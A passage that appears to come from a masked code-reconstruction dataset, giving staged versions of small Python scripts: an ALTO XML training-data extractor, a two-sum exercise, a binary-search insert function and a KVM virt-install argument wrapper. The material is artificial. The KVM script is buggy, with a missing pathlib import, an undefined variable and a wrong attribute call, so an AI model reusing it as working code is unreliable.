"step-2": "<mask token>\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\n<mask token>\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n",
"step-3": "<mask token>\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\nminimum = float('inf')\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n",
"step-4": "import glob\nfrom collections import defaultdict\nfrom stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob('./input/**/*.xml', recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\nminimum = float('inf')\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(\n f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\"\n )\n minimum = min([len(data[cls]), minimum])\nextract_images_from_bbox_dict_for_training(images, output_dir='./data/')\nsplit_dataset('./data/*', max_size=minimum, except_for_train=True)\n",
"step-5": "import glob\nfrom collections import defaultdict\nfrom stylalto.datasets.extractor import read_alto_for_training, extract_images_from_bbox_dict_for_training, split_dataset\n\n\ndata = defaultdict(list)\nimages = {}\nfor xml_path in glob.glob(\"./input/**/*.xml\", recursive=True):\n current, image = read_alto_for_training(xml_path)\n images[image] = current\n for key in current:\n data[key].extend(current[key])\n\nminimum = float(\"inf\")\nfor cls in data:\n total = sum([len(val) for val in data.values()])\n print(f\"{cls.zfill(10).replace('0', ' ')} : {len(data[cls]) / total:.2f} of the whole ({len(data[cls])})\")\n minimum = min([len(data[cls]), minimum])\n\n# Extract images\nextract_images_from_bbox_dict_for_training(images, output_dir=\"./data/\")\n\n# Split into dataset\nsplit_dataset(\"./data/*\", max_size=minimum, except_for_train=True)\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for x in values:
for y in values:
if x + y == 100 and x != y:
value1 = x
value2 = y
print(value1)
print(value2)
<|reserved_special_token_1|>
<|reserved_special_token_0|>
values = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30,
32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]
value1 = None
value2 = None
for x in values:
for y in values:
if x + y == 100 and x != y:
value1 = x
value2 = y
print(value1)
print(value2)
<|reserved_special_token_1|>
"""
Find two distinct numbers in values whose sum is equal to 100.
Assign one of them to value1 and the other one to value2.
If there are several solutions, any one will be marked as correct.
Optional step to check your answer:
Print the value of value1 and value2.
"""
values = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30, 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]
value1 = None
value2 = None
for x in values:
for y in values:
if x + y == 100 and x != y:
value1 = x
value2 = y
print(value1)
print(value2)
|
flexible
|
{
"blob_id": "c0ebf10b8c0cb4af11608cafcdb85dbff4abdf90",
"index": 4755,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor x in values:\n for y in values:\n if x + y == 100 and x != y:\n value1 = x\n value2 = y\nprint(value1)\nprint(value2)\n",
"step-3": "<mask token>\nvalues = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30,\n 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]\nvalue1 = None\nvalue2 = None\nfor x in values:\n for y in values:\n if x + y == 100 and x != y:\n value1 = x\n value2 = y\nprint(value1)\nprint(value2)\n",
"step-4": "\"\"\"\r\nFind two distinct numbers in values whose sum is equal to 100.\r\nAssign one of them to value1 and the other one to value2.\r\nIf there are several solutions, any one will be marked as correct.\r\n\r\nOptional step to check your answer:\r\n\r\nPrint the value of value1 and value2.\r\n\"\"\"\r\n\r\n\r\nvalues = [72, 50, 48, 50, 7, 66, 62, 32, 33, 75, 30, 85, 6, 85, 82, 88, 30, 32, 78, 39, 57, 96, 45, 57, 61, 10, 62, 48, 32, 96, 75, 15, 50, 50]\r\n\r\nvalue1 = None\r\nvalue2 = None\r\nfor x in values:\r\n for y in values:\r\n if x + y == 100 and x != y:\r\n value1 = x\r\n value2 = y\r\n \r\nprint(value1)\r\nprint(value2)",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
'''
Given a sorted array and a target value, return the index if the target is found.
If not, return the index where it would be if it were inserted in order.
You may assume no duplicates in the array.
Here are few examples.
[1,3,5,6], 5 -> 2
[1,3,5,6], 2 -> 1
[1,3,5,6], 7 -> 4
[1,3,5,6], 0 -> 0
'''
class Solution(object):
def searchInsert(self, nums, target):
if target < nums[0]:
return 0
if target > nums[-1]:
return len(nums)
l_idx, h_idx = 0, len(nums)-1
while True:
m_idx = int((l_idx+h_idx)/2)
if l_idx >= h_idx:
return l_idx
elif target > nums[m_idx]:
l_idx = m_idx + 1
else:
h_idx = m_idx
sol = Solution()
print sol.searchInsert([1,3,5,6], 5)
print sol.searchInsert([1,3,5,6], 2)
print sol.searchInsert([1,3,5,6], 4)
print sol.searchInsert([1,3,5,6], 0)
|
normal
|
{
"blob_id": "0a7ffc027511d5fbec0076f6b25a6e3bc3dfdd9b",
"index": 12,
"step-1": "'''\nGiven a sorted array and a target value, return the index if the target is found.\nIf not, return the index where it would be if it were inserted in order.\n\nYou may assume no duplicates in the array.\n\nHere are few examples.\n[1,3,5,6], 5 -> 2\n[1,3,5,6], 2 -> 1\n[1,3,5,6], 7 -> 4\n[1,3,5,6], 0 -> 0\n'''\n\nclass Solution(object):\n def searchInsert(self, nums, target):\n if target < nums[0]:\n return 0\n if target > nums[-1]:\n return len(nums)\n\n l_idx, h_idx = 0, len(nums)-1\n\n while True:\n m_idx = int((l_idx+h_idx)/2)\n if l_idx >= h_idx:\n return l_idx\n elif target > nums[m_idx]:\n l_idx = m_idx + 1\n else:\n h_idx = m_idx\n\nsol = Solution()\nprint sol.searchInsert([1,3,5,6], 5)\nprint sol.searchInsert([1,3,5,6], 2)\nprint sol.searchInsert([1,3,5,6], 4)\nprint sol.searchInsert([1,3,5,6], 0)\n\n",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
def parse_command_line(argv):
"""Parse command line argument. See -h option
:param argv: arguments on the command line must include caller file name.
"""
formatter_class = argparse.RawDescriptionHelpFormatter
parser = argparse.ArgumentParser(description=module, formatter_class=
formatter_class)
parser.add_argument('-n', '--name', dest='name', metavar='hostname',
nargs='?', type=str, required=True, help='Define a virtual hostname')
parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',
required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',
'w7'], help='Define a operating system')
parser.add_argument('--dry-run', help=
'Only print throughput, do not execute command.', action='store_true')
parser.add_argument('--legacy', help=
'Use legacy install (from official repository).', action='store_true')
parser.add_argument('--version', action='version', version=
'%(prog)s {}'.format(__version__))
parser.add_argument('-v', '--verbose', dest='verbose_count', action=
'count', default=0, help='increases log verbosity for each occurence.')
arguments = parser.parse_args(argv[1:])
log.setLevel(max(3 - arguments.verbose_count, 0) * 10)
return arguments
def main():
"""Main program. Sets up logging and do some work."""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=
'%(name)s (%(levelname)s): %(message)s')
kvm = pathlib.Path('/disks/d/VMWare/KVM')
os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',
'win7_full':
'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'
, 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',
'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}
try:
arguments = parse_command_line(sys.argv)
server = arguments.name
os = arguments.os
legacy = arguments.legacy
dry = arguments.dry_run
if kvm.path.exists():
kvm_disk = kvm_path + server
command = (
'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'
)
if dry:
print(command)
print(kvm_disk)
except KeyboardInterrupt:
log.error('Program interrupted!')
finally:
logging.shutdown()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def parse_command_line(argv):
"""Parse command line argument. See -h option
:param argv: arguments on the command line must include caller file name.
"""
formatter_class = argparse.RawDescriptionHelpFormatter
parser = argparse.ArgumentParser(description=module, formatter_class=
formatter_class)
parser.add_argument('-n', '--name', dest='name', metavar='hostname',
nargs='?', type=str, required=True, help='Define a virtual hostname')
parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',
required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',
'w7'], help='Define a operating system')
parser.add_argument('--dry-run', help=
'Only print throughput, do not execute command.', action='store_true')
parser.add_argument('--legacy', help=
'Use legacy install (from official repository).', action='store_true')
parser.add_argument('--version', action='version', version=
'%(prog)s {}'.format(__version__))
parser.add_argument('-v', '--verbose', dest='verbose_count', action=
'count', default=0, help='increases log verbosity for each occurence.')
arguments = parser.parse_args(argv[1:])
log.setLevel(max(3 - arguments.verbose_count, 0) * 10)
return arguments
def main():
"""Main program. Sets up logging and do some work."""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=
'%(name)s (%(levelname)s): %(message)s')
kvm = pathlib.Path('/disks/d/VMWare/KVM')
os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',
'win7_full':
'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'
, 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',
'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}
try:
arguments = parse_command_line(sys.argv)
server = arguments.name
os = arguments.os
legacy = arguments.legacy
dry = arguments.dry_run
if kvm.path.exists():
kvm_disk = kvm_path + server
command = (
'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'
)
if dry:
print(command)
print(kvm_disk)
except KeyboardInterrupt:
log.error('Program interrupted!')
finally:
logging.shutdown()
if __name__ == '__main__':
sys.exit(main())
<|reserved_special_token_1|>
<|reserved_special_token_0|>
module = sys.modules['__main__'].__file__
__author__ = 'FFX'
__version__ = '1.0'
log = logging.getLogger(module)
def parse_command_line(argv):
"""Parse command line argument. See -h option
:param argv: arguments on the command line must include caller file name.
"""
formatter_class = argparse.RawDescriptionHelpFormatter
parser = argparse.ArgumentParser(description=module, formatter_class=
formatter_class)
parser.add_argument('-n', '--name', dest='name', metavar='hostname',
nargs='?', type=str, required=True, help='Define a virtual hostname')
parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',
required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',
'w7'], help='Define a operating system')
parser.add_argument('--dry-run', help=
'Only print throughput, do not execute command.', action='store_true')
parser.add_argument('--legacy', help=
'Use legacy install (from official repository).', action='store_true')
parser.add_argument('--version', action='version', version=
'%(prog)s {}'.format(__version__))
parser.add_argument('-v', '--verbose', dest='verbose_count', action=
'count', default=0, help='increases log verbosity for each occurence.')
arguments = parser.parse_args(argv[1:])
log.setLevel(max(3 - arguments.verbose_count, 0) * 10)
return arguments
def main():
"""Main program. Sets up logging and do some work."""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=
'%(name)s (%(levelname)s): %(message)s')
kvm = pathlib.Path('/disks/d/VMWare/KVM')
os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',
'win7_full':
'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'
, 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',
'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}
try:
arguments = parse_command_line(sys.argv)
server = arguments.name
os = arguments.os
legacy = arguments.legacy
dry = arguments.dry_run
if kvm.path.exists():
kvm_disk = kvm_path + server
command = (
'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'
)
if dry:
print(command)
print(kvm_disk)
except KeyboardInterrupt:
log.error('Program interrupted!')
finally:
logging.shutdown()
if __name__ == '__main__':
sys.exit(main())
<|reserved_special_token_1|>
import sys
import argparse
import logging
from pathlib import Path
module = sys.modules['__main__'].__file__
__author__ = 'FFX'
__version__ = '1.0'
log = logging.getLogger(module)
def parse_command_line(argv):
"""Parse command line argument. See -h option
:param argv: arguments on the command line must include caller file name.
"""
formatter_class = argparse.RawDescriptionHelpFormatter
parser = argparse.ArgumentParser(description=module, formatter_class=
formatter_class)
parser.add_argument('-n', '--name', dest='name', metavar='hostname',
nargs='?', type=str, required=True, help='Define a virtual hostname')
parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',
required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',
'w7'], help='Define a operating system')
parser.add_argument('--dry-run', help=
'Only print throughput, do not execute command.', action='store_true')
parser.add_argument('--legacy', help=
'Use legacy install (from official repository).', action='store_true')
parser.add_argument('--version', action='version', version=
'%(prog)s {}'.format(__version__))
parser.add_argument('-v', '--verbose', dest='verbose_count', action=
'count', default=0, help='increases log verbosity for each occurence.')
arguments = parser.parse_args(argv[1:])
log.setLevel(max(3 - arguments.verbose_count, 0) * 10)
return arguments
def main():
"""Main program. Sets up logging and do some work."""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=
'%(name)s (%(levelname)s): %(message)s')
kvm = pathlib.Path('/disks/d/VMWare/KVM')
os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',
'win7_full':
'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'
, 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',
'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}
try:
arguments = parse_command_line(sys.argv)
server = arguments.name
os = arguments.os
legacy = arguments.legacy
dry = arguments.dry_run
if kvm.path.exists():
kvm_disk = kvm_path + server
command = (
'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'
)
if dry:
print(command)
print(kvm_disk)
except KeyboardInterrupt:
log.error('Program interrupted!')
finally:
logging.shutdown()
if __name__ == '__main__':
sys.exit(main())
<|reserved_special_token_1|>
#!/usr/bin/python3
# encoding: utf-8
import sys
import argparse
import logging
from pathlib import Path
module = sys.modules['__main__'].__file__
__author__ = 'FFX'
__version__ = '1.0'
log = logging.getLogger(module)
def parse_command_line(argv):
"""Parse command line argument. See -h option
:param argv: arguments on the command line must include caller file name.
"""
formatter_class = argparse.RawDescriptionHelpFormatter
parser = argparse.ArgumentParser(description=module,formatter_class=formatter_class)
parser.add_argument('-n', '--name', dest="name", metavar="hostname",
nargs='?',
type=str,
required=True,
help="Define a virtual hostname")
parser.add_argument('-o', '--os', dest="os", metavar="os",
nargs='?',
required=True,
type=str,
choices=['debian','mint','centos','mac','w7'],
help="Define a operating system")
parser.add_argument("--dry-run", help="Only print throughput, do not execute command.",
action="store_true")
parser.add_argument("--legacy", help="Use legacy install (from official repository).",
action="store_true")
parser.add_argument("--version", action="version",
version="%(prog)s {}".format(__version__))
parser.add_argument("-v", "--verbose", dest="verbose_count",
action="count", default=0,
help="increases log verbosity for each occurence.")
arguments = parser.parse_args(argv[1:])
# Sets log level to WARN going more verbose for each new -v.
log.setLevel(max(3 - arguments.verbose_count, 0) * 10)
return arguments
def main():
"""Main program. Sets up logging and do some work."""
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG,
format='%(name)s (%(levelname)s): %(message)s')
kvm = pathlib.Path("/disks/d/VMWare/KVM")
os = {
'win7':'/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',
'win7_full':'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso',
'mint':'/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',
'solaris':'/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'
}
try:
arguments = parse_command_line(sys.argv)
# Assign args to variables
server = arguments.name
os = arguments.os
legacy = arguments.legacy
dry = arguments.dry_run
if kvm.path.exists():
kvm_disk = kvm_path + server
command = "virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0"
if dry:
print(command)
print(kvm_disk)
except KeyboardInterrupt:
log.error('Program interrupted!')
finally:
logging.shutdown()
if __name__ == "__main__":
sys.exit(main())
|
flexible
|
{
"blob_id": "46adb1834f6013ca0f13a64f280182a805d76278",
"index": 215,
"step-1": "<mask token>\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n",
"step-3": "<mask token>\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n",
"step-4": "import sys\nimport argparse\nimport logging\nfrom pathlib import Path\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module, formatter_class=\n formatter_class)\n parser.add_argument('-n', '--name', dest='name', metavar='hostname',\n nargs='?', type=str, required=True, help='Define a virtual hostname')\n parser.add_argument('-o', '--os', dest='os', metavar='os', nargs='?',\n required=True, type=str, choices=['debian', 'mint', 'centos', 'mac',\n 'w7'], help='Define a operating system')\n parser.add_argument('--dry-run', help=\n 'Only print throughput, do not execute command.', action='store_true')\n parser.add_argument('--legacy', help=\n 'Use legacy install (from official repository).', action='store_true')\n parser.add_argument('--version', action='version', version=\n '%(prog)s {}'.format(__version__))\n parser.add_argument('-v', '--verbose', dest='verbose_count', action=\n 'count', default=0, help='increases log verbosity for each occurence.')\n arguments = parser.parse_args(argv[1:])\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG, format=\n '%(name)s (%(levelname)s): %(message)s')\n kvm = pathlib.Path('/disks/d/VMWare/KVM')\n os = {'win7': '/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':\n '/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso'\n , 'mint': '/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris': '/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'}\n try:\n arguments = parse_command_line(sys.argv)\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = (\n 'virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0'\n )\n if dry:\n print(command)\n print(kvm_disk)\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n finally:\n logging.shutdown()\n\n\nif __name__ == '__main__':\n sys.exit(main())\n",
"step-5": "#!/usr/bin/python3\n# encoding: utf-8\n\n\nimport sys\nimport argparse\nimport logging\nfrom pathlib import Path\n\n\nmodule = sys.modules['__main__'].__file__\n__author__ = 'FFX'\n__version__ = '1.0'\nlog = logging.getLogger(module)\n\n\ndef parse_command_line(argv):\n \"\"\"Parse command line argument. See -h option\n :param argv: arguments on the command line must include caller file name.\n \"\"\"\n formatter_class = argparse.RawDescriptionHelpFormatter\n parser = argparse.ArgumentParser(description=module,formatter_class=formatter_class)\n parser.add_argument('-n', '--name', dest=\"name\", metavar=\"hostname\",\n nargs='?', \n type=str,\n required=True,\n help=\"Define a virtual hostname\")\n parser.add_argument('-o', '--os', dest=\"os\", metavar=\"os\",\n nargs='?', \n required=True,\n type=str,\n choices=['debian','mint','centos','mac','w7'],\n help=\"Define a operating system\")\n parser.add_argument(\"--dry-run\", help=\"Only print throughput, do not execute command.\",\n action=\"store_true\")\n parser.add_argument(\"--legacy\", help=\"Use legacy install (from official repository).\",\n action=\"store_true\")\n parser.add_argument(\"--version\", action=\"version\",\n version=\"%(prog)s {}\".format(__version__))\n parser.add_argument(\"-v\", \"--verbose\", dest=\"verbose_count\",\n action=\"count\", default=0,\n help=\"increases log verbosity for each occurence.\")\n arguments = parser.parse_args(argv[1:])\n # Sets log level to WARN going more verbose for each new -v.\n log.setLevel(max(3 - arguments.verbose_count, 0) * 10)\n return arguments\n\n\ndef main():\n \"\"\"Main program. Sets up logging and do some work.\"\"\"\n logging.basicConfig(stream=sys.stderr, level=logging.DEBUG,\n format='%(name)s (%(levelname)s): %(message)s')\n\n kvm = pathlib.Path(\"/disks/d/VMWare/KVM\")\n os = { \n 'win7':'/disks/d/OS/Windows/Windows_7/Windows_7_LITE_X64.iso',\n 'win7_full':'/disks/d/OS/Windows/Windows_7/fr_windows_7_ultimate_x64_dvd_x15-65928.iso',\n 'mint':'/disks/d/OS/Unix/Mint/linuxmint-18.3-cinnamon-64bit.iso',\n 'solaris':'/disks/d/OS/Unix/Solaris/11/sol-11_3-text-x86.iso'\n }\n\n try:\n arguments = parse_command_line(sys.argv)\n # Assign args to variables\n server = arguments.name\n os = arguments.os\n legacy = arguments.legacy\n dry = arguments.dry_run\n if kvm.path.exists():\n kvm_disk = kvm_path + server\n command = \"virt-install --ram 2048 --disk path=${DIR_HOST}/${HOST}.qcow2,size=8 --vcpus 2 --os-type linux --os-variant ubuntuquantal --network bridge=virbr0\"\n if dry:\n print(command)\n print(kvm_disk)\n\n except KeyboardInterrupt:\n log.error('Program interrupted!')\n 